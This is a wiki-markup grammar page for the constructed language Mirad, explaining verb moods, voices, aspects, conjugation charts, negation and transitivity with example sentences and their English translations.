::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

